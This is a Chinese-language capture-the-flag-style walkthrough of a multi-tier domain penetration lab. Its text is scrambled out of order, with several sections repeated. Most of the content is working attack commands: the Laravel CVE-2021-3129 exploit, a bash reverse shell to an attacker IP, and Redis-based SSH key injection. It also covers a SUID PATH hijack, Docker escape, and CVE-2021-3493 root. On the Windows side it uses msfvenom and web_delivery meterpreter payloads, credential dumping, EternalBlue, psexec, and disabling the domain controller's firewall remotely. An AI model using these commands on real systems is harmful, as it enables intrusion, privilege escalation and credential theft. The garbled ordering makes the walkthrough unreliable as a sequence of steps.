靶场实操|域渗透之红日靶场7
-
拓扑图
-
环境配置
-
DMZ区的 Ubuntu 需要启动redis和nginx服务(经过后面的心酸,这里的redis得用root权限启动):
-
第二层网络的 Ubuntu需要启动docker容器(仍然需要root):
-
第二层网络的 Windows 7 (PC 1)需要启动通达OA(这个得用administrator启动哦,并且要关闭防火墙):
-
开始配置
-
至此 环境配置完成
-
sudo su
-
redis-server /etc/redis.conf
-
/usr/sbin/nginx -c /etc/nginx/nginx.conf
-
iptables -F
-
sudo su
-
service docker start
-
docker start 8e172820ac78
-
C:MYOAbinAutoConfig.exe
-
域用户账户和密码如下:
-
Ubuntu 1:
-
Ubuntu 2:
-
通达OA账户(不重要):
-
Administrator:Whoami2021
-
whoami:Whoami2021
-
bunny:Bunny2021
-
moretz:Moretz2021
-
web:web2021
-
ubuntu:ubuntu
-
admin:admin657260
-
Windows Server 2012 和 Windows 7(PC 2)都只配置了一个网卡,连接在 VMnet14 上连通第三层网络
-
Ubuntu(Web 2)和 Windows 7(PC 1)都配置了两个网卡,一个连接在 VMnet8 上连通第二层网络,一个连接在 VMnet14 上,设为仅主机模式,IP段设为 192.168.93.0/24 连通第三层网络
-
Ubuntu(Web 1)配置了两个网卡,一个桥接可以对外提供服务,IP段设为 192.168.43.0/24,一个连接在 VMnet8 上,设为NAT模式,IP段设为 192.168.52.0/24 连通第二层网络
-
DMZ区IP段为192.168.43.1/24 因为我这里是开热点打的 图用的网上的
-
第二层网络环境IP段为192.168.52.1/24
-
第三层网络环境IP段为192.168.93.1/24
-
DMZ区域
-
第二层网络区域
-
第三层网络区域
-
用户名密码
-
后面的网卡设置好就行
-
网络配置好了 还需要配置服务
-
渗透开始
-
添加93网段的路由
-
然后探测93网段存活机器
-
发现两台存活的windows 分别为DC(192.168.93.30)和PC2(192.168.93.40)
-
先扫端口 通过扫端口发现都开了445 那就测一测永恒之蓝
-
直接弹回会话了
-
第四台拿下 现在只剩下域控了 既然前面抓到了域管的密码 直接用psexec登录得了
-
失败了,应该是开了防火墙的原因。
-
没关系,我们已经有了域控的密码了,就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。首先控制第二层网络的Windows 7与域控建立ipc连接:
-
连上了 然后来关防火墙
-
然后在次尝试psexec
-
拿下域控 到此拿下了所有机器
-
权限维持就不做了
-
后记 最后想了一下其他思路 因为第二层的网络是出网的所以可以直接上线cs 在cs上操作 也是可以的
-
use auxiliary/scanner/smb/smb_version
-
set rhosts 192.168.93.1-255
-
set threads 5
-
run
-
use exploit/windows/smb/ms17_010_eternalblue
-
set rhosts 192.168.93.40
-
set payload windows/x64/meterpreter/bind_tcp
-
set lport 8888
-
exploit
-
use exploit/windows/smb/psexec
-
set rhosts 192.168.93.30
-
set SMBUser administrator
-
set SMBPass Whoami2021
-
set payload windows/meterpreter/bind_tcp
-
set rhost 192.168.93.30
-
run
-
net use 192.168.93.30ipc$ "Whoami2021" /user:"Administrator"
-
sc 192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
-
sc 192.168.93.30 start unablefirewall
-
首先扫描一下第二层网络(192.168.52.0/24)是否有存活 windows 主机
-
直接挂socks 进一步探测信息
-
发现有个8080端口 然后浏览器开启代理打开看看
-
发现是一个通达OA V11.3 然后直接通过exp直接上
-
上工具,这个工具有个坑,有个获取cookie的功能但是获取不了,只有自己去网页上粘cookie过来。成功获取到了shell
-
然后上线msf
-
use auxiliary/scanner/discovery/udp_probe
-
set rhosts 192.168.52.1-255
-
set threads 5
-
run
-
发现了一台30的机器
-
use auxiliary/server/socks_proxy
-
set srvhost 192.168.43.35
-
set version 4a socks版本
-
run
-
bunny:Bunny2021
-
administrator:Whoami2021
-
ipconfig /all # 查看本机ip,所在域
-
route print # 打印路由信息
-
net view # 查看局域网内其他主机名
-
arp -a # 查看arp缓存
-
net start # 查看开启了哪些服务
-
net share # 查看开启了哪些共享
-
net share ipc$ # 开启ipc共享
-
net share c$ # 开启c盘共享
-
net use 192.168.xx.xxipc$ "" /user:"" # 与192.168.xx.xx建立空连接
-
net use 192.168.xx.xxc$ "密码" /user:"用户名" # 建立c盘共享
-
dir 192.168.xx.xxc$user # 查看192.168.xx.xx c盘user目录下的文件
-
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
-
net user # 查看本机用户列表
-
net user /domain # 查看域用户
-
net localgroup administrators # 查看本地管理员组(通常会有域用户)
-
net view /domain # 查看有几个域
-
net user 用户名 /domain # 获取指定域用户的信息
-
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
-
net group 组名 /domain # 查看域中某工作组
-
net time /domain // 主域服务器会同时作为时间服务器
-
net group "domain admins" /domain # 查看域管理员的名字
-
net group "domain computers" /domain # 查看域中的其他主机名
-
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
-
net group "Enterprise Admins" /domain // 查看域管理员组
-
use exploit/multi/script/web_delivery
-
set target 2
-
set payload windows/x64/meterpreter/reverse_tcp
-
set lhost 192.168.43.35
-
set lport 5555
-
run
-
上线之后进行内网信息收集
-
.
-
综合上面收集的信息,我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。
-
然后迁移到64进程上进行抓密码
-
成功抓到域用户和域管理员的密码
-
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.35 LPORT=4445 -f elf > ubuntu.elf
-
如果这里不能出网的话就需要通过先把马子传到192.168.43.129上 然后在下载到52.20这一台上 这也的话 马子也需要重新生成 设置代理
-
cd /tmp
-
vim exploit.c #将下载的exploit.c内容粘贴到该文件中
-
gcc exploit.c -o exploit
-
chmod +x exploit
-
./exploit
-
提权成功 然后现在上线msf进行内网渗透
-
Ubuntu 20.10
-
Ubuntu 20.04 LTS
-
Ubuntu 18.04 LTS
-
Ubuntu 16.04 LTS
-
Ubuntu 14.04 ESM
-
拿到了web,192.168.43.129;192.168.52.10
-
拿到了ubuntu,192.168.52.20;192.168.93.10
-
还是先把这个上线msf 以便后续操作
-
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.35 LPORT=3333 -f elf > web.elf
-
然后远程下载马子
-
然后msf开启监听
-
然后执行上线
-
因为开始第一步我们就将公钥写进去192.168.50.20了 是不是我们可以直接将kali的公钥下载到拿下的A机器 然后直接连接 但是还是要输入密码 很奇怪 按道理我看网上的有人是可以成功的 这里我没成功 就不管了
-
然后我重新试了一下 还是成功连上了 可能是因为我第一天关机了原因
-
重新通过第一步的shell写密钥到192.168.52.20上 然后下载kali的公钥连接上了
-
这里既然连接上了 就不用另一种方法了
-
但还是介绍一下另一种方法
-
我们通过redis拿下了192.168.43.129(192.168.52.10)这一台 这一台和192.168.52.20 有共同的网段的是可以直接连的 所以就可以通过shell弹一个会话到43.129这一台机器上 然后在这一台机器上进行docker提权以及 特权模式逃逸 直接在129这一台机器上生成密钥 然后写入到52.20中 然后连接进行逃逸
-
use exploit/multi/handler
-
set lhost 192.168.31.96
-
set lport 3333
-
set payload linux/x86/meterpreter/reverse_tcp
-
run
-
因为开始确确实实是把ssh公钥写入了 但是怎么会连不上哎 然后查看了下nginx的配置
-
发现了 nginx 反向代理的标志 proxy_pass
-
攻击的机器192.168.43.129(192.168.52.10)服务器上的 nginx 将 81 端口收到的请求转发给了 192.168.52.20,将 80 端口收到的请求转发给了 http://whoamianony.top
-
所以这个docker的宿主机的192.168.20.20上 就算公钥写进去了 但是连不上 不在同一个网段 那个是
-
如果说192.168.43.129(192.168.52.10)是A机器 192.168.52.20是B机器 docker是B1
-
那么我们开始用马子拿下的就是B中的B1 redis拿下的才是A
-
先安装redis-cli工具
-
然后连接
-
尝试用redis写入ssh公钥
-
wget http://download.redis.io/redis-stable.tar.gz
-
tar -zxvf redis-stable.tar.gz
-
cd redis-stable
-
make //全局生效
-
cp src/redis-cli /usr/bin/
-
redis-cli -h 192.168.43.129
-
config set dir /root/.ssh #设置redis的备份路径为/root/.ssh/
-
config set dbfilename authorized_keys #设置保存文件名为authorized_keys
-
save #将数据保存在目标服务器硬盘上
-
ssh 192.168.213.188 #连接
-
直接连上了
-
(echo -e "nn"; cat /root/.ssh/id_rsa.pub; echo -e "nn") > key.txt
-
cat key.txt | redis-cli -h 192.168.43.129 -x set hello
-
ssh-keygen -t rsa
-
kali生成ssh公钥
-
将公钥导入key.txt文件(前后用n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里:
-
然后进入redis将公钥写入(这里redis要是不用root启,就不行)
-
先fdisk -l查看磁盘挂载
-
sda1盘疑似挂载于宿主机上,利用mount挂载于我们创建的目录之上
-
然后ls hack就可以看到宿主机部分文件
-
来到/hack/home/ubuntu下 可以看到有.ssh文件
-
那就可以写入密钥
-
先在kali中生成密钥 创建一个key文件
-
然后将密钥复制
-
然后写入目标的.ssh目录下
-
命令:cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys(我这里是切换到.ssh目录下复制的 因为我直接全路径不知道为什么失败)(后来发现是hack前面不需要/)
-
然后写入到authorized_keys里面
-
然后用kali连接ubuntu
-
但是发现还是需要密码 这就奇怪了
-
然后换思路 因为发现还有6379 有redis 所以从redis搞
-
cd /tmp
-
echo "/bin/bash" > ps
-
chmod 777 ps
-
echo $PATH
-
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
-
cd /home/jobs
-
./shell# 然后就获得了root权限,可以执行命令了
-
命令:bash -c "bash -i >& /dev/tcp/192.168.43.35/1234 0>&1"
-
find / -perm -u=s -type f 2>/dev/null
-
https://github.com/BeichenDream/Godzilla下载地址
-
命令:git clone git://github.com/crisprss/Laravel_CVE-2021-3129_EXP.git
-
22的ssh
-
80的nginx
-
81的Laravel
-
6379的redis
-
命令:nmap -T4 -A 192.168.31.132 -p 1-65535
-
外网渗透
-
拿到DMZ的ip:192.168.43.129 首先打开看看
-
空白啥都没有 但是网上的那些有blog不知道怎么回事 先不管 扫端口
-
扫出4个端口
-
因为80没东西 所以打开81看看
-
是一个Laravel v8.29.0(一个简洁、开源的 PHP Web 开发框架)
-
直接网上找找公开漏洞
-
发现是有漏洞的CVE-2021-3129 然后直接找exp打
-
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
-
克隆exp到kali
-
然后将里面默认的url改为目标192.168.43.129
-
然后克隆phpggc到exp目录下 因为需要同目录
-
命令:git clone git://github.com/ambionics/phpggc.git
-
然后执行命令:python3 exploit.py
-
然后改一下py脚本 改成任意执行命令
-
Vim打开脚本,首先在exploit.py开头import sys库
-
主函数改为如下内容(注意缩进)
-
args = sys.argv
-
url = args[1]
-
command = args[2]
-
Exp(url, command)
-
然后执行命令
-
然后写shell 但是用这个exp一直写不上 就换了一个exp
-
直接写shell的
-
然后用哥斯拉链接2.92版本的 3.03不知道为什么连不上
-
连上shell
-
首先判断当前环境和权限 发现有些命令无法执行 怀疑是在容器里面
-
判断是否为docker
-
确实是在docker里面 所以就需要进行docker逃逸
-
但是当前权限较低
-
所以需要进行提权 先通过命令来搜索具有SUID或4000权限的文件:
-
发现 /home/jobs/shell 文件比较特别 然后切换到目录看看
-
但是发现在哥斯拉执行的时候切换不了 不知道什么情况 那就先弹个会话到kali
-
然后在kali上试试能不能行
-
然后通过查看demo.c文件发现 是调用的ps命令且并未使用绝对路径
-
那么尝试更改$PATH来执行恶意程序,从而获得目标主机的 root 权限 shell
-
然后先弹个root的会话
-
然后使用特权模式进行docker逃逸
-
redis未授权
-
docker逃逸失败的原因
-
docker再次逃逸(柳暗花明)
-
所以到现在已经拿下了两台
-
但192.168.52.20是ubuntu用户权限不高 我们要得肯定是root最好 先进行信息收集看看能不能提权
-
14.04 刚好上次打靶场的时候遇到 这个版本可以提权用CVE-2021-3493
-
漏洞利用 exp 下载地址:https://github.com/briskets/CVE-2021-3493
-
漏洞影响版本:
-
直接将下载的exp的内容复制到 这台机器编译一个
-
先添加一个路由 这台是192.168.43.129
-
然后生成一个马子
-
然后下载执行上线
-
好了现在都上线了 开启socks代理探测内网
-
第二层内网渗透
-
第二层内网渗透
-
use exploit/multi/script/web_delivery
-
set target 2
-
set payload windows/x64/meterpreter/reverse_tcp
-
set lhost 192.168.43.35
-
set lport 5555
-
run
-
上线之后进行内网信息收集
-
.
-
综合上面收集的信息,我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。
-
然后迁移到64进程上进行抓密码
-
成功抓到域用户和域管理员的密码
-
ipconfig /all # 查看本机ip,所在域
-
route print # 打印路由信息
-
net view # 查看局域网内其他主机名
-
arp -a # 查看arp缓存
-
net start # 查看开启了哪些服务
-
net share # 查看开启了哪些共享
-
net share ipc$ # 开启ipc共享
-
net share c$ # 开启c盘共享
-
net use 192.168.xx.xxipc$ "" /user:"" # 与192.168.xx.xx建立空连接
-
net use 192.168.xx.xxc$ "密码" /user:"用户名" # 建立c盘共享
-
dir 192.168.xx.xxc$user # 查看192.168.xx.xx c盘user目录下的文件
-
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
-
net user # 查看本机用户列表
-
net user /domain # 查看域用户
-
net localgroup administrators # 查看本地管理员组(通常会有域用户)
-
net view /domain # 查看有几个域
-
net user 用户名 /domain # 获取指定域用户的信息
-
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
-
net group 组名 /domain # 查看域中某工作组
-
net time /domain // 主域服务器会同时作为时间服务器
-
net group "domain admins" /domain # 查看域管理员的名字
-
net group "domain computers" /domain # 查看域中的其他主机名
-
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
-
net group "Enterprise Admins" /domain // 查看域管理员组
-
bunny:Bunny2021
-
administrator:Whoami2021
-
use auxiliary/server/socks_proxy
-
set srvhost 192.168.43.35
-
set version 4a socks版本
-
run
-
use auxiliary/scanner/discovery/udp_probe
-
set rhosts 192.168.52.1-255
-
set threads 5
-
run
-
发现了一台30的机器
-
首先扫描一下第二层网络(192.168.52.0/24)是否有存活 windows 主机
-
直接挂socks 进一步探测信息
-
发现有个8080端口 然后浏览器开启代理打开看看
-
发现是一个通达OA V11.3 然后直接通过exp直接上
-
上工具,这个工具有个坑,有个获取cookie的功能但是获取不了,只有自己去网页上粘cookie过来。成功获取到了shell
-
然后上线msf
-
use exploit/multi/script/web_delivery
-
set target 2
-
set payload windows/x64/meterpreter/reverse_tcp
-
set lhost 192.168.43.35
-
set lport 5555
-
run
-
上线之后进行内网信息收集
-
ipconfig /all # 查看本机ip,所在域
-
route print # 打印路由信息
-
net view # 查看局域网内其他主机名
-
arp -a # 查看arp缓存
-
net start # 查看开启了哪些服务
-
net share # 查看开启了哪些共享
-
net share ipc$ # 开启ipc共享
-
net share c$ # 开启c盘共享
-
net use 192.168.xx.xxipc$ "" /user:"" # 与192.168.xx.xx建立空连接
-
net use 192.168.xx.xxc$ "密码" /user:"用户名" # 建立c盘共享
-
dir 192.168.xx.xxc$user # 查看192.168.xx.xx c盘user目录下的文件
-
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
-
net user # 查看本机用户列表
-
net user /domain # 查看域用户
-
net localgroup administrators # 查看本地管理员组(通常会有域用户)
-
net view /domain # 查看有几个域
-
net user 用户名 /domain # 获取指定域用户的信息
-
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
-
net group 组名 /domain # 查看域中某工作组
-
net time /domain // 主域服务器会同时作为时间服务器
-
net group "domain admins" /domain # 查看域管理员的名字
-
net group "domain computers" /domain # 查看域中的其他主机名
-
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
-
net group "Enterprise Admins" /domain // 查看域管理员组
-
.
-
综合上面收集的信息,我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。
-
然后迁移到64进程上进行抓密码
-
成功抓到域用户和域管理员的密码
-
bunny:Bunny2021
-
administrator:Whoami2021
-
第三层内网渗透
-
添加93网段的路由
-
然后探测93网段存活机器
-
use auxiliary/scanner/smb/smb_version
-
set rhosts 192.168.93.1-255
-
set threads 5
-
run
-
发现两台存活的windows 分别为DC(192.168.93.30)和PC2(192.168.93.40)
-
先扫端口 通过扫端口发现都开了445 那就测一测永恒之蓝
-
use exploit/windows/smb/ms17_010_eternalblue
-
set rhosts 192.168.93.40
-
set payload windows/x64/meterpreter/bind_tcp
-
set lport 8888
-
exploit
-
直接弹回会话了
-
第四台拿下 现在只剩下域控了 既然前面抓到了域管的密码 直接用psexec登录得了
-
use exploit/windows/smb/psexec
-
set rhosts 192.168.93.30
-
set SMBUser administrator
-
set SMBPass Whoami2021
-
set payload windows/meterpreter/bind_tcp
-
set rhost 192.168.93.30
-
run
-
失败了,应该是开了防火墙的原因。
-
没关系,我们已经有了域控的密码了,就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。首先控制第二层网络的Windows 7与域控建立ipc连接:
-
net use 192.168.93.30ipc$ "Whoami2021" /user:"Administrator"
-
连上了 然后来关防火墙
-
sc 192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
-
sc 192.168.93.30 start unablefirewall
-
然后在次尝试psexec
-
拿下域控 到此拿下了所有机器
-
权限维持就不做了
-
后记 最后想了一下其他思路 因为第二层的网络是出网的所以可以直接上线cs 在cs上操作 也是可以的
文章来源:亿人安全
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END